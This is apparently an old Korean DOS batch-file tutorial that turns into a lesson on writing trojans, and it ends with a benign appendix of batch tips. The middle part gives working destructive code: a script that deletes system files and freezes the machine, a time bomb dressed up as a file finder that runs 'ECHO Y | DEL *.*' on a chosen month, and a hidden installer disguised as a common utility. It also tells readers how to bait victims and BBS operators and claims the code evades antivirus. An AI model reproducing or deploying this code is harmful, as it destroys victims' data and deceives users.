왜 이렇게 되었을까?

SHIFT 명령어를 사용하면 원래의 %0 값은 왼쪽으로 밀려나고, 원래의 %1값
으로 대치된다. 또한 할당되지 않았던 문자 J가 파라미터 %9에 비로소 할당
된다. 이리하여 배치화일은 10개의 명령행 파라미터들을 받아들일 수 있다.

예를들어보자

SHOW1.BAT

@ECHO OFF
:REPEAT
    SHIFT
    IF '%0' == '' GOTO DONE
    ECHO %0
GORO REPEAT
:DONE

마치 C 등의 언어를 보는듯한 구성이아닌가?
이것을 다음과 같이 출력된다.

SHOW1   A  B   C
A
B
C

설명하자면,
배치화일은 처음에 SHIFT 명령어를 수행하여 첫 배치 파라미터를 %0에 할당
한다. 그다음에는 IF명령어를 사용하여 %0이 NULL값인지를 검사한다.
만일 %0이 NULL 이라면 배치 파라미터들을 모두 출력한 것이므로 실행을 종
료한다. 첫번째 실행에서 %0에는 문자 A가 들어 있으며, 배치화일은 ECHO를
 이용하여 이 값을 출력한다. 그 다음에 배치화일은 SHIFT 명령앞에 있는
REPEAT 레이블로 분기하기 위해 GOTO를 실행한다. 이때 SHIFT 명령에 의해
%0은 문자 B를 포함하게 되고, 배치화일은 이것을 출력한다. 배치화일은 이
러한 과정을 반복하여 문자 C를 출력한다. 명령행에 더 이상 남아있는 값이
 없기 때문에 SHIFT는 %0에 NULL값을 할당한다. 이것은 IF 명령어에 의해
 레이블 DONE으로 분기시킨다.


팁 : 배치화일내에서 다른 배치화일 부르기!!

어떤 프로그램이든 프로그램상의 오류를 가지고 있습니다.
이것을 우리는 버그라 부르죠.
이런 오류는 대개 논리적 착오에 의한 프로그램 제작상의 문제나 실수 등에
 의해 기인합니다.
이런 버그를 줄이는것은 무척 중요한 일이기도 합니다.
대부분 배치 프로그래밍에서 많이 실수하는 부분이 있습니다.
화일내에서 다른 배치화일등을 불러서 실행하라는 명령문을 탑재했다칩시다
그냥 작성할경우 위에서 말한 버그가 발생할수 있습니다.
그래서 반드시 CALL 이란 명령어를 써서 하는것이 좋습니다.
예를들면,

외부에 AAA.BAT / BBB.BAT 이렇게 있고 현재 CCC.BAT 를 작성하고 있다고
칩시다.

CCC.BAT

@ECHO OFF
.
.
CALL AAA.BAT
CALL BBB.BAT
.
.

이제 사용법을 아시겠죠?


이제껏 배운것은 이것을 위한 전주곡이라고나 할까........

도스에서의 배치프로그래밍 에서는 현 도스에 널려있을지 모를 유명한 프로그램을
이용하는 방법을 사용할수 있습니다.

컴퓨터 하는 사람치고 노턴 없는사람 없겠죠?

그렇다면 당연히 be.exe 는 있을겁니다.
이것은 배치화일을 확장 시켜줄수 있습니다.
물론 그전에 이미 완벽하게 작성한 프로그램을 사용할수 있으나 때론 이용할 구석이 있는
것들이 있습니다.

예를들어, BE.EXE 로 효과음을 발생할수 있습니다.
이것을 이용하여 일정한 노래정도는 스피커로 흘릴수도 있습니다.

BEEP 사용법
BE BEEP /Dn /Fn /Rn /E
/Dn :  소리의 주기를 지정한다. 1/18초 1단위
/Fn : 소리의 주파수를 지정한다. n은 초당 주기
/Rn : 소리를 n 번 반복한다.
/Wn : 소리 중간에 n/18 초를 기다린다
/E : 주석에서 인용부호로 둘러싸인 부분을 출력한다.

이것말구도 여러가지로 확장하여 화면 긋기,키입력 등등 여러가지로 쓰일수 있으나
대부분 필요한 도구는 현 강의자료와 함께 제공해 드리니 be로 응용이 가능하구나
하는 정도만 알아두세요.


** 바이러스 제작 테크닉!! **
이제부터 게재하는 내용은 각종 테크닉입니다.
초보적인 것부터 고난도까지 차례대로 계속 이야기 할것이니 반드시
알아두기 바랍니다.

* 단 한줄로 컴퓨터 화면 멈춤/ 키 입력 불능 방법

사용 :  CTTY NUL

예) XXX.BAT <= 임의의 화일명
    @ECHO OFF
    CTTY NUL
    ^Z

설명 :  이경우 컴퓨터는 CTTY CON 을 치지않는한 다운된것처럼 보일것입니다.
  CTTY 명령은 주로 PC의 통신포트중의 하나에 달려있는 장치나 터미널을 가진
  사용자들을 위해 만들어진 것입니다.
  CTTY를 원래의 목적으로 쓰지않고 배치화일의 도중에 화면출력을 없앨수있습니다.
  이것은 앞으로 응용할것이나 이거 한줄로 짠 프로그램을 컴파일시켜 써보는것도
  묘미일겁니다.

자~ 아주 무식하고 단순한 트로이목마를 만들어볼까요?
지금 만드는것은 아주 초보적인 수준으로 발견즉시  탐지당할수 있으나
발견즉시 피해를 입히며 자폭할것이니 사용하기는 좋습니다.
아이큐 한 30정도는 될겁니다.

목적 : 침투즉시 시스템 영역 파괴로 부팅불능

@ECHO OFF
ATTRIB  -H -R -S  > NUL  <= 이줄은 시스템화일의 숨김,읽기전용,시스템등의
                                   속성을 해제시켜 지우거나 변형이 가능케합니다.
                                   "> NUL" 은 변형결과가 화면에 안뜨게 하는것입니다.
DEL *.SYS < NUL  <= 모든 시스템 화일을 지워버립니다.
                         다음회에 전체화일을 묻는말없이 지울수있는법을 알려드리죠.
DEL XXX.YYY < NUL <= 본인 스스로 해당 화일명 삭제명령, 역시 보이지않게!!
CTTY NUL   <= 이것까지 추가하면 시스템도 딱! 멈추겠죠? 그래서 부팅해보면 안뜬답니다.
                   하하하~~~~~~~~~
^Z

어떻습니까?
여기에 화면에 어떤 메시지를 띄울수도 있겠죠?

ECHO       " 이 컴퓨터는 부팅영역을 나에게 빼앗겼다!! "

이런식으로요~~ 메롱~~~이나............
아주 간단하면서 효과는 확실하죠?
현재 이건 극히 초보적인 것이나 약간만 응용하여 다른 화일을 지우거나 화일명을
바꾸어놓는 조작을 할수있습니다.
다만 상대 사용자가 바로 발견할수 있다는것이 단점이겠죠?
그래서 이것을 등록하거나 제공하기 앞서 엄청난 것이라는 광고나 어떤 미끼를
던진다면 확실히 물립니다.
소잃고 외양간 고쳐모해~~
하지만 너무 쉽게 드러나 좀 그렇죠?
그래서~~~ 아래를 보십시요.

아래는 간단한 화일 찾기 프로그램입니다.
여기에 인공지능(?) 타이머를 추가해서 강력한 시한폭탄이 되게 만들것이니
일단은 자세히 보아주시고 원리를 보아주시기 바랍니다.
이것은 지금당장이라도 이름만 바꾸어서 컴파일시켜 자료실에 등록도 할수
있는 것입니다.


@echo off
if "%1"=="/?" goto help
if "%1"=="" goto copyright
cd\
dir %1 /s/p/w/l/o:n
goto end
:copyright
echo.
echo FileFinder (c) KIM XXX
:help
echo.
echo Usage : filefind [filename]
echo.
:end


다음회에 막강한 타이머가 부착된 시한폭탄 바이러스를 보자구요~ 하하~~
참, 더불어서 각종 배치유틸(*.COM)도 제공하겠습니다.

지금 올린 예제는 극히 기본적인 것입니다.
응용가능성이 높다는걸 아셨겠죠?
계속되는 응용과 연습이 중요합니다.



안녕하세요.
5번째 시간입니다.

이번 시간에는 배치 테크닉 마무리와 배치로 만드는 바이러스 실제적용이
되겠습니다.


배치화일로 바이러스 제작하기


아주 무식하고 단순한 트로이목마를 만들어보자.
지금 만드는것은 아주 초보적인 수준으로 발견즉시  탐지당할수 있으나
발견즉시 피해를 입히며 자폭할것이니 사용하기는 좋다.

목적 : 침투즉시 시스템 영역 파괴로 부팅불능

@ECHO OFF
rem  writted by KIM TAE-BONG
ATTRIB C:\*.* -H -R -S  > NUL   <= 이줄은 시스템화일의 숨김,읽기전용,시스템
등의
                                       속성을 해제시켜 지우거나 변형이 가능
케한다.
                                      "> NUL"  은 변형결과가 화면에  안뜨게
하는것이다.
DEL *.SYS < NUL  <= 모든 시스템 화일을 지워버린다.

DEL XXX.YYY  < NUL <=  본인 스스로 해당  화일명 삭제명령, 역시  보이지않
게!!
CTTY NUL   <= 이것까지 추가하면 시스템이 정지한다.
                   그래서 부팅해보면 시스템 영역이 파괴되어 작동안한다.
^Z

여기에 화면에 어떤 메시지를 띄울수도 있을것이다.

ECHO       " 이 컴퓨터는 부팅영역을 나에게 빼앗겼다!! "

아주 간단하면서 효과는 확실하다.
현재 이건 극히 초보적인  것이나 약간만 응용하여 다른 화일을 지우거나 화일명

바꾸어놓는 조작을 할수있다.
다만 상대 사용자가 바로 발견할수 있다는것이 단점일것이다.
그래서 이것을 등록하거나 제공하기 앞서 엄청난 것이라는 광고나 어떤 미끼를
던진다면 확실히 물릴것이다.


아래는 간단한 화일 찾기 프로그램이다.
여기에 인공지능(?) 타이머를 추가해서 강력한 시한폭탄이 되게 만들것이니
일단은 자세히 보고 원리를 이해하기 바란다.
이것들은 지금당장이라도 이름만 바꾸어서 컴파일시켜 자료실에 등록도 할수
있는 것이다.

그러니 각별히 사용에 주의를 요한다.


다음 예제를 살펴보자.

예) 월 표시 프로그램

@ECHO OFF
GETMONTH.COM    <= 월체크 유틸리티
IF ERRORLEVEL 12 IF NOT ERRORLEVEL 13 ECHO 12
IF ERRORLEVEL 11 IF NOT ERRORLEVEL 12 ECHO 11
IF ERRORLEVEL 10 IF NOT ERRORLEVEL 11 ECHO 10
IF ERRORLEVEL  9 IF NOT ERRORLEVEL 10 ECHO  9
IF ERRORLEVEL  8 IF NOT ERRORLEVEL  9 ECHO  8
IF ERRORLEVEL  7 IF NOT ERRORLEVEL  8 ECHO  7
IF ERRORLEVEL  6 IF NOT ERRORLEVEL  7 ECHO  6
IF ERRORLEVEL  5 IF NOT ERRORLEVEL  6 ECHO  5
IF ERRORLEVEL  4 IF NOT ERRORLEVEL  5 ECHO  4
IF ERRORLEVEL  3 IF NOT ERRORLEVEL  4 ECHO  3
IF ERRORLEVEL  2 IF NOT ERRORLEVEL  3 ECHO  2
IF ERRORLEVEL  1 IF NOT ERRORLEVEL  2 ECHO  1
^Z

배치화일의 장점이자 단점이기도 한것이 있다.
스스로 완벽하게 작동하지 못한다는것이다.
때문에 배치를 도와줄 유틸리티가 필요하게 되었다.
사실 C,PASCAL  로 바이러스를 만들어도 어셈블리어로  제작된 유틸리티가 필요
한거 보면 대동소이 하지만.........
도스의 DEBUG 란 것으로 제작하는 아주 간단한 유틸리티인데 이미 상당수 공개
되었기에
우린 단지 그것을 찾아서 이용만 하면 된다.
위 프로그램의 맨 첫째줄에 쓰인것이 바로 이것이다.
배치를 컴파일하신후 항상 이 두가지를 같이 사용하셔야 한다.
외부의 GETMONTH.COM 을 화일명을 바꾸셔서 써도 되지만 이때는 반드시
배치에서도 바꾸어주셔야 한다.

자, 이것을 실행하면 현재 시스템의 월을 표시해준다.
이것이 우리가 제작하게될 시한폭탄형 바이러스의 헤더부분,
즉. 시스템상태감식 프로그램이다.
폭탄으로 말하면 뇌관정도로 비유될까?

이것을 활용해서 "트로이&시한폭탄 1호형" 바이러스를 만들어보자.

아래는 일반적으로 활용할 수 있는 파일찾기 프로그램이다.

@echo off
if "%1"=="/?" goto help
cd\
dir %1 /s/p/w/l/o:n
goto end
:help
echo
echo Usage : filefind [filename]
echo
:end

이제 위의 둘을 합친 모습을 보자!

@ECHO OFF
REM  WRITTED BY    KIM TAE-BONG(김태봉)
GETMONTH.COM     <= 시스템 "월" 체크 유틸리티  . 화일명 변경해도 됨-체크
할것
IF ERRORLEVEL 12 IF NOT ERRORLEVEL 13 GOTO FF
IF ERRORLEVEL 11 IF NOT ERRORLEVEL 12 GOTO FF
IF ERRORLEVEL 10 IF NOT ERRORLEVEL 11 GOTO FF
IF ERRORLEVEL  9 IF NOT ERRORLEVEL 10 GOTO FF
IF ERRORLEVEL  8 IF NOT ERRORLEVEL  9 GOTO FF
IF ERRORLEVEL  7 IF NOT ERRORLEVEL  8 GOTO FF
IF ERRORLEVEL  6 IF NOT ERRORLEVEL  7 GOTO FF
IF ERRORLEVEL  5 IF NOT ERRORLEVEL  6 GOTO FF
IF ERRORLEVEL  4 IF NOT ERRORLEVEL  5 GOTO FF
IF ERRORLEVEL  3 IF NOT ERRORLEVEL  4 GOTO VIRUS
IF ERRORLEVEL  2 IF NOT ERRORLEVEL  3 GOTO FF
IF ERRORLEVEL  1 IF NOT ERRORLEVEL  2 GOTO FF
REM  아래부분은 바이러스 코드이다.
:VIRUS
echo   VIRUS !!  BOMB!!
ECHO Y | DEL *.* > nul              <= 중요한 명령
REM  아래 부분은 파일찾기 프로그램 코드이다.
:FF
if "%1"=="/?" goto help
if "%1"=="" goto copyright
cd\
dir %1 /s/p/w/l/o:n
goto end
echo
echo Usage : filefind [filename]
echo
:end


자 이제 자세히 설명해보자.
임의로 체크를 3월달로 맞추어 놓았다.
자기 마음대로 1,2,3,4,5....... 고쳐 놓을수 있다.
GETMONTH 말고 시간,일자 등으로 얼마든지 변경이 가능하다.
처음에 이 프로그램을 실행하면 시스템의 월(조건변경가능!)을 체크하여 조건에따

정상적인 파일찾기 기능이 수행되나 임의로 지정한 3월이  되면 GOTO 분기에 의

바이러스 코드 부분을 실행한다.
이 바이러스 코드부분에는  여지껏 배운내용을 응용하여 얼마든지 집어넣을수 있
다.
이줄    ECHO Y | DEL *.*  은
모든 파일을 삭제하라거나, 포맷을 행할때는 반드시 물어보는 YES/NO  를 임의로
YES로
지정하기 위해 들어간 줄이다.
이렇게 명령을 주면 프로그램은 자동적으로 사용자에게 질문 않고 직접 실행시켜
버리니
소잃고 외양간도 못고치는 격이다.

다른 예로,  ECHO Y | FORMAT C:  라고 할수도 있다.
ECHO 다음에 N 으로 하면 절대 포맷이 안된다.
그리고 | 는 엔터를 친것처럼 한다는 파이프라고 위에서 설명했다.
자신의 응용가능 여하에따라 얼마든지 변경이 가능하다.
단, 되도록이면 이렇게 한번에 하는것보다는  확장자만 골라서 집중적으로 파괴하
는것이
더 효과적이다.
왜냐면, 이런  방식으로 하다간  가끔 시스템이 다운되거나  무한루프에 빠질수도
있으니깐.....


만약 자신이 어떤 프로그램이나  게임등에 이런 바이러스 코드를 첨가시켜  전파
시키는 방법도 있다.

방법은, 유명게임이나 유명  유틸리티 등에 자신이 직접  인스톨 프로그램을 작성
하여
첨가시키는 것이다.

예) 간단한  인스톨 프로그램   ( 프로그램은  C:\PR\PROG.ARJ 로 되어있다고  치
자.)

1) 첫번째 필요한 소스

INSTALL.BAT    <= 컴파일시켜 실행화일로 만들면 된다.

@ECHO OFF
REM WRITTED BY KIM TAE-BONG
ARJ   X  PROG.ARJ   <= COPY 나 다른것으로 바꿔도 된다.
REM     아래 부분부터 숨겨서 침투시키는 내용
ATTRIB  +R +H M.COM    <= 이러면 숨긴다.
COPY M.COM C:\.   <= 루트디렉토리에 숨긴다.
^Z


일단은 디렉토리에 풀릴것이다.


아래것은 저번 시간에 공부한 조건형태의 한 형태이다.
이것을 다른 정상유틸형태로 위장한 변형말고 아무런 반응이 없다가 지정한 조건
시에
작동하도록 해보자.

2) 두번째 필요한 소스

M.BAT  나 NCD.BAT  <= 컴파일시켜 M.COM or NCD.COM 으로한다.

@ECHO OFF
REM  WRITTED BY  KIM TAE-BONG
GETMONTH.COM    <= 시스템 "월" 체크 유틸리티 .  대체 가능
IF ERRORLEVEL 12 IF NOT ERRORLEVEL  13 GOTO M  이나 NCD 로 위장한
다.
IF ERRORLEVEL 11 IF NOT ERRORLEVEL 12 GOTO M
IF ERRORLEVEL 10 IF NOT ERRORLEVEL 11 GOTO M
IF ERRORLEVEL  9 IF NOT ERRORLEVEL 10 GOTO M
IF ERRORLEVEL  8 IF NOT ERRORLEVEL  9 GOTO M
IF ERRORLEVEL  7 IF NOT ERRORLEVEL  8 GOTO M
IF ERRORLEVEL  6 IF NOT ERRORLEVEL  7 GOTO M
IF ERRORLEVEL  5 IF NOT ERRORLEVEL  6 GOTO M
IF ERRORLEVEL  4 IF NOT ERRORLEVEL  5 GOTO M
IF ERRORLEVEL  3 IF NOT ERRORLEVEL  4 GOTO VIRUS
IF ERRORLEVEL  2 IF NOT ERRORLEVEL  3 GOTO M
IF ERRORLEVEL  1 IF NOT ERRORLEVEL  2 GOTO M
:VIRUS
REN  C:\PR\XXX.DAT XXX.COM  <= 예전에 인스톨해놓았던 C:\PR\ 디렉토리에
                               숨겨진화일을 다시 꺼내서 실행하게끔 한다.
DEL XXX.COM   <= 자체파괴
DEL M.COM    <= 자체파괴  / 화일명 변경가능하다.
:M
M.EXE     나    NCD.EXE
:END

왜 NCD.COM 이나 M.COM 으로 하냐면,
전에 항상 실행화일은  COM  -> EXE -> BAT 순서라고 했죠?
NCD.EXE / M.EXE 는 AUTOEXEC.BAT 에 항상 따라온다.
이거 안쓰는 사람있음 나와보라구해~~
AUTOEXEC.BAT 는 매일 자동실행되는법~~
그래서, 이렇게 COM 으로 만들어 숨겨두면 찾지도 못할뿐더러 화일명이 같으니
대개 그냥 넘어가버린다.
실행해봤자 3월이 되기전이라면 바로 M.EXE 로 넘겨버리니까
절대 안걸릴것이다.


3) 세번째 소스

세번째에서는 여지껏 배운 방법을 동원하여 각자 입맛에 맞게 짜기바란다.

이방법이 약간 복잡할수있다.

만약, 상대가 전달받은 프로그램을 곧 지워버릴수 있을것이다.
그러면, 해당디렉토리의 XXX.DAT 같이 위장해놓은 화일을 아에 첨부터
루트에 카피해놓으셔도 무방하다.
전달받은 프로그램을 지워도 이것들은 살아남아 끝까지 박살낼테니깐.......

*좀더 단순화 시켜서 XXX.DAT 를 아에 M.COM 내부에 설치할수도 있다.


배치화일 제작 바이러스 후기

이렇게 배치화일로 제작된 트로이목마  & 시한폭탄 형 바이러스는 절대로 V3 나
TB 혹은 트로이목마 검색 프로그램으로 안걸린다는걸 보장한다!!
대부분의 백신들은 어셈블리로 제작되어 어셈블리 루틴값을 체크하거나 쓰기할때
잡지만 배치로는 그렇게 고난도 기술을 요하지 않고도 교묘히 빠져나가며 수행하
기 때문이다.
즉, 약이 없다.
일일이 에디트로 뜯어보기전에는 모를것이다.
하지만 전파력이 약하다는것이 단점이라고 하겠다.
그러나 원래 트로이목마 바이러스 라는게 불특정 다수의 전파보다는 특정한 하나
의 대상을 파괴하는데 목적이 있기때문에 전혀 문제될것은 아니다.

간단한 형태로 SEX.COM  이런식으로 만들어서 즉각 반응형으로 해도 효과는 좋
을것이다.
화일명 저런데 실행안해볼 사람은 없기 때문이다.
판도라의 상자일 것이다.

사설 비비에스 해킹이야 위의 자료를 등록한후 시삽이 실행하기만 기다리면 되는
것이다.

위에 열거한 각종  테크닉을 이용한다면 강력한 트로이목마형 바이러스를 초보자
들도 쉽게 제작할 수 있을것이다.
기존의 프로그래밍 언어가 상당  수준 까지 오르는데 많이 시간이 필요한반면 배
치 프로그래밍은 짧은 시간내에 학습이 가능하고 적용이 쉽다는 장점이있다.


참고자료>

다음은 배치 프로그래밍의 대가인 티모 살미 교수가 정리한 것입니다.
아주 유용한 테크닉들이 들어있습니다.

1. "@echo off"를 일반적으로 사용하기
====================================
화면에 명령어들이 표시되지 않게 echo off 하고, 그 라인도  화면에
표시 되지 않게 하기 위해서 다음과 같이 하면 된다.
 @echo off
이 것은 MsDos 3.30 이후 버전에서만 작동한다.  이것을  일반적으로
사용하게 하기 위해서 3.30이상의 MsDos를 사용한다면  autoexec.bat
안에 다음과 같이 적어 놓는다.
 set _echo=@
그리고 배치화일에서 다음과 같이 사용한다면 어느 버전의 MsDos버전
에서도 작동한다.
 %_echo%echo off

2. 모든 화일을 지우기
=====================
가장 흔하게 질문되는 것(FAQ)중의 하나는 del *.*  을  사용껦 때,
"Are you sure (Y/N)?" 라는 확인을 어떻게 하면 나타나지 않게 하는
것이다. 다음과 같이 사용한다.
 echo y| del *.*
화면에 나타나는 메세지도 보이지 않게 하려면 다음과 같이 한다.
 echo y| del *.* > nul
이러한 확인 절차를 표시하지 않게 하는 것은 토론의 여지가 많지만,
위와 같이 사용할 수 있다.

3. 다중 반복
============
배치화일에서 다중 루프(반복)를 사용하는 것이 가능하다. 다음의 두
배치화일을 생각해 보자. 그리고 test.bat을 불러 실행시켜 보자.
  echo off
  rem TEST.BAT
  for %%f in (a b c d e f) do %comspec% /c test2 %%f

  echo off
  rem TEST2.BAT
  for %%g in (1 2 3) do echo %1%%g
아니면 한줄로 다음과 같이 써서 사용할 수도 있다.
  for %%f in(a b c d e f) do %comspec% /c for %%g in (1 2 3)  do
echo %%f%%g
(여기서는 줄이 길어서 넘어 다음줄로 넘어왔지만 배치화일에 사용할
때는 한줄에 다 써야한다.) 이 두번째 방법의 단점은 echo가  화면에
표시된다는 것이다.

4. 디렉토리가 존재하는지 확인하는 방법
======================================
디렉토리가 있는지 확인하는 것은 가끔 매우 쓸모있는 일이다.  %1의
디렉토리가 없다면 다음 확인은 참이 될것이다.
 if not exist %1\nul if not exiat %1nul echo Directory  %1  does
not exist

5. 프로그램을 현디렉토리나 경로에서 사용할 수 있는지 확인하기
=============================================================
배치 프로그램에서 프로그램을 불러서 사용할때, 그 화일에 대한  경
로를 써주지 않았을 경우, 그 프로그램이 현재의 디렉토리나  경로에
서 사용가능한지 확인할 때 도움이 될 것이다.
  set _found=
  if exist %1 set _found=yes
  for %%d in (%path%) do if exist %%d\%1 set _found=yes
  for %%d in (%path%) do if exist %%d%1 set _found=yes
  if "%_found%"=="yes" goto _continue
  echo %1 is not at path or the current directory
  goto _out
  :_continue
  echo %1 found at path or in the current directory
  :_out

6. 배치화일에서 서브루틴이나 재귀적방법을 사용하기
==================================================
배치화일 안에서 서브루틴을 사용하는 것은 가능하다. 방법은 서브루
틴이 실행된  뒤에  돌아가야할  곳을  가르키는  환경변수(예를들면
_return)를 설정하는 것이다. 이런 예는 UNPACK.BAT 이나 BOOT.BAT의
:_common 과 :_subru 부분에서 찾아 볼 수 있다.
마찬가지로 재귀적인 사용이 가능하다. ("재귀적인  방법"의  의미는
한  배치화일이  자기  자신을  불러  사용하는  것이다.)  이  예는
SAFEDEL.BAT에서 아래의 행을 따라 찾아 보면 된다.
 for %%f in (%1) do call safedel %%f recurse
배치화일의 0번째 인수(%0)는 배치화일 자신을 나타내므로,  safedel
은 %0으로 대치 되어 사용할 수도 있다.

7. 매개 인수(parameter)를 대문자로 바꾸기.
=========================================
다음은 배치화일에 사용한 인수 %1 를 대문자로 바꾸어 주는  예제이
다. 이는 MsDos는 path를 대문자로 바꾼다는 점을 이용한 것이다. 결
과는 upcase_에 저장될 것이고, 원래의 경로가 다시 저장될 것이다.
  set tmp_=%path%
  path=%1
  set upcase_=%path%
  path=%tmp_%

8. 새로운 디렉토리를 경로에 붙이기
==================================
자주 필요한 이 기술은 매우 간단하다. 예를 들어 %1를 경로에  덧붙
이려면
 path=%path%;%1
이라고 하면된다.
이 기술은 배치화일 안에서만 사용할 수 있다. 배치화일 안에서만 환
경변수(%path%)를 사용할 수 있기 때문이다.
존재하지 않는 디렉토리를 덧붙이려한다거나 중복해서 경로를 덧붙이
는 것을 방지하는 ADDPATH.BAT이라는 배치화일이 있다.

9. 두 화일을 비교하기
=====================
배치화일에서 두 화일이 같은지 아닌지 확인해 볼 수 있다. 이  기술
은 MsDos의 외부 명령어인 fc.exe와 find.exe를 사용한다. (외부  명
령어라는 뜻은 MsDos와 같이 있는 프로그램들이다. 대부분의 외부 명
령어용 프로그램들은 c:\dos 에 위치한다.)
  fc %1 %2 > tmp$$$
  type tmp$$$ | find  /i  "fc:  no  differences  encountered"  >
diffe$$$
  if exist notsame$ del notsame$$$
  copy diffe$$$ notsame$ > nul
  if not exist notsame$ echo Files %1 and %2 are different
  if exist notsame$ echo Files %1 and %2 are identical
  if exist tmp$$$ del tmp$$$
  if exist notsame$ del notsame$
  if exist diffe$$$ del diffe$$$
좀더 생각하면 이 기술은 다른 목적에도 사용할 수 있다. 이는  화일
안에 주어진 문자열이 있는지 확인 하는데 바탕을 두고 있기  때문이
다.

10. 빈줄을 쓰기
===============
이는 간단하지만 종종 필요하고 유용한 기술이다. echo 바로  다음에
점(.)을 찍으면 빈줄을 표시할 수 있다.
  echo.

11. pause를 이용해 메세지를 표시하기
====================================
메세지를 손쉽게 나타나게 할 수 있다. 메세지를 echo한 다음  pause
를 사용하는데, pause의 메세지를 nul로 보내면 된다.
 echo Break to quit, any other key to remove the tmp directory
 pause > nul

12. for를 이용한 다양한 rename 기술
===================================
이 기술이 기본적이고 사소하지만, 이를 생각해 내기란 쉽지 않을 것
이다. for 문은 화일의 이름을 바꾸는데 특별히 유용하다.  예를  들
면, 내가 다음의 화일들을 가지고 있을 때, (터보  파스칼  TP  4.0,
5.0, 5.5, 6.0) 내가 버전 29를 30으로 바꾸기 원한다고 할때,
  tspa2940.zip
  tspa2950.zip
  tspa2955.zip
  tspa2960.zip
다음은 손쉽게 그런 일을 해준다.
 for %f in (40 50 55 60) do re tspa29%f.zip tspa30%f.zip
물론 화일이름 바꾸는 일 말고도 이 기술로 다양한 일을 할 수 있다.
하나의 예는 다음과 같다.
  for %d in (a b) do format %d:

13. 와일드카드를 확인하기
=========================
이 예제는 인수 %1이 와일드 카드를 사용하고 있는지 아닌지  확인한
다.
  @echo off
  for %%f in (%1) do if "%%f"=="%1" goto _nowilds
  echo Parameter %1 contains wildcards (or is missing)
  :_nowilds

14. 배치 작업을 중간에 그만두지 못하게 하기
===========================================
ctty 명령어를 사용해서 입력장치나 출력장치를 새로 설정하여  배치
화일을 중단시키는 것을 방지할 수 있다. 여기의 예제는  패스워드로
e를 넣어야 하는 간단한 배치화일이다. ctty가  nul로  돌려진  동안
<,>의 리디렉션이 필요한 것을 눈여겨 보라. ask라는 배치화일을  돕
기 위한 프로그램은 같이 포함되어 있다. ( MsDos의 choice와 비슷하
다. 단, 에러 레벨을 입력한 문자의 아스키 값으로 돌리는 것만 틀리
다.)
  @echo off
  ctty nul
  echo Now you cannot break the batch with ^C or ^Break > con
  :_ask
  echo Use e to break > con
  ask /b /d < con
  if errorlevel==101 if not errorlevel==102 goto _out
  goto _ask
  :_out
  ctty con
  echo Back to normal. Now you can break the batch  with  ^C  or
^Break.
이 배치화일이 작동되고 있는 동안에는 alt-crtl-del로  다시 부팅할
수도 없다. 이 같은 일을 하는 noboot.exe라는 램상주 프로그램도 있
다.

15. autoexec.bat를 중지하고 건너뛰는 것을 방지하기
==================================================
브레이크를 눌러 autoexec.bat를 건너 뛰어 지나치지 않게 하기 위해
서 다음과 같이 config.sys에 쓰면 된다.
  shell=c:\command.com /p nul
이렇게 하기 전에 만일의 경우를 대비해서 플로피 디스켓으로 부팅할
준비를  해둔다. autoexec.bat 맨 뒷줄에 'ctty con'이라고 덧  붙여
야 된다. 그렇게 하지 않으면 키보드가 말을 듣지 않을 것이고, 준비
한 플로피 디스켓으로 부팅해야 할 것이다 :-).

16. 확장자를 인식하기
=====================
단지 확장자를 확인하려던가, 주어진 화일의 이름에서 확장자를 환경
변수로 저장하려고 할때, 이 것은 매우 유용하다. 어떻게 하는지  여
기에 있다. 이 배치화일은 PC-               azine July 1992, Vol 11, No.  13,
page 528에 나온  정보를 이용한 것이다. for 루프에서  슬레시(/)로
시작하는 인수는 두 부분으로 나누어지는데, 처음 부분은 인수의  첫
문자이고 다른 부분은 나머지 문자열이다.
이 해결방법에서 하나의 문제점은 .* 이라던가 .???  이란  확장자를
인식하지 못하는 것이다. 그러나 "와일드카드를 확인하기"를  이용해
서 확인하면 될 것이다. 이러한 기술을 이용한 것중에  UNPACK.BAT라
는 배치화일이 있다.
     @echo off
     set exten_=%1
     :_next
     set prev_=%exten_%
     for %%f in (/%exten_%) do set exten_=%%f
     if ".%exten_%"=="%prev_%" goto _extfound
     if not "%exten_%"=="%prev_%" goto _next
     goto _noext
     :_extfound
     echo The filename %1 has an extension %exten_%
     goto _out
     :_noext
     echo The filename %1 has no extension
     :_out
     set exten_=
     set prev_=

17. % 문자 인용부호
===================
%1은 배치화일에 주어진 첫번째 인수를 가르킨다. 이처럼 'echo  %1'
이라고 하면 첫번째 인수를 표시해 준다. 대신에 %1라는 문자를 표시
하고 싶은 경우 어떻게 해야하는가?  % 문자는 인용부호처럼  행동한
다. 그래서 %%1이라고 쓴 경우 실제로는 "%1"이라고  화면에  표시된
다. 아래의 간단한 연습을 실행해보라.
  @echo off
  if "%1"=="" goto _out
  echo %1
  echo %%1
  :_out
이 기능을 이용한 것은 "배치의 보조 배치화일을 없애기"를  보아라.
좋은 예로는 DELPATH.BAT가 있다.

18. 배치의 보조 배치화일을 없애기
=================================
많은 배치 프로그램이 call을 사용해서 보조 배치화일을  불러다  쓴
다. 많은 경우 이런 일을 재귀적인 사용을 통해 자기 자신을  불러다
씀으로써  보조 화일을 사용하는 것을 줄일 수 있다. 보조코드는  배
치화일 자기자신에 넣어 놓는다. 이러한 기술은 와일드 카드를  받아
들이는 TYPE 같은 SHOW.BAT 에서 가장 잘 나타나 있다. 일반적으로는
개개의 화일을 type하기 위해서  보조화일이  필요하다.  다른  예는
SAFEDEL.BAT에서 찾아볼수있다.
이와 같은 일을 하기 위한 다른 기술이 있다. 원래의 배치화일이  보
조 배치화일을 만든 다음 그것을 불러 사용하는 것이다. 이런 것으로
는 DELPATH.BAT의 예를 들 수 있다. 여기에는  사용되는  드라이브를
보여주는 간단한 예가 있다. (c 부터 t 까지 가능하다. 여기선 더 쓰
면 줄이 넘어가니까!)
 @echo off
 echo @echo off> tmp$$$.bat
 echo if exist %%1:\nul echo Drive %%1: is present>> tmp$$$.bat
 for %%d in (c d e f g h i j k l m n o p q r s t) do call tmp$$$
%%d
 del tmp$$$.bat
디스크의 볼륨  레이블을  찾아내는  창의적인  기교가  PC-Magazine
August 1992, Vol. 11, No. 14, p. 527에 실렸다. 여기는 같은  기술
을 사용하는  예가 있다. 환경변수 getdir_에 현재의 디렉토리를  저
장한다. 이 기술은 PUSHDIRE.BAT에 사용되고 있다.
  @echo off
  echo @echo off> director.bat
  echo set getdir_=%%2>> director.bat
  echo echo %%getdir_%%>> director.bat
  dir | find "Directory"> go.bat
  call go
  if exist director.bat del director.bat
  if exist go.bat del go.bat

19. subst 명령어를 경로에 사용하기
==================================
어떤 디렉토리를 읽기 쉽게 하기 위해서 간단한  배치화일을  사용한
다. 만약 subst 가 이미 설정되어서 생길 수 있는 에러를  방지한다.
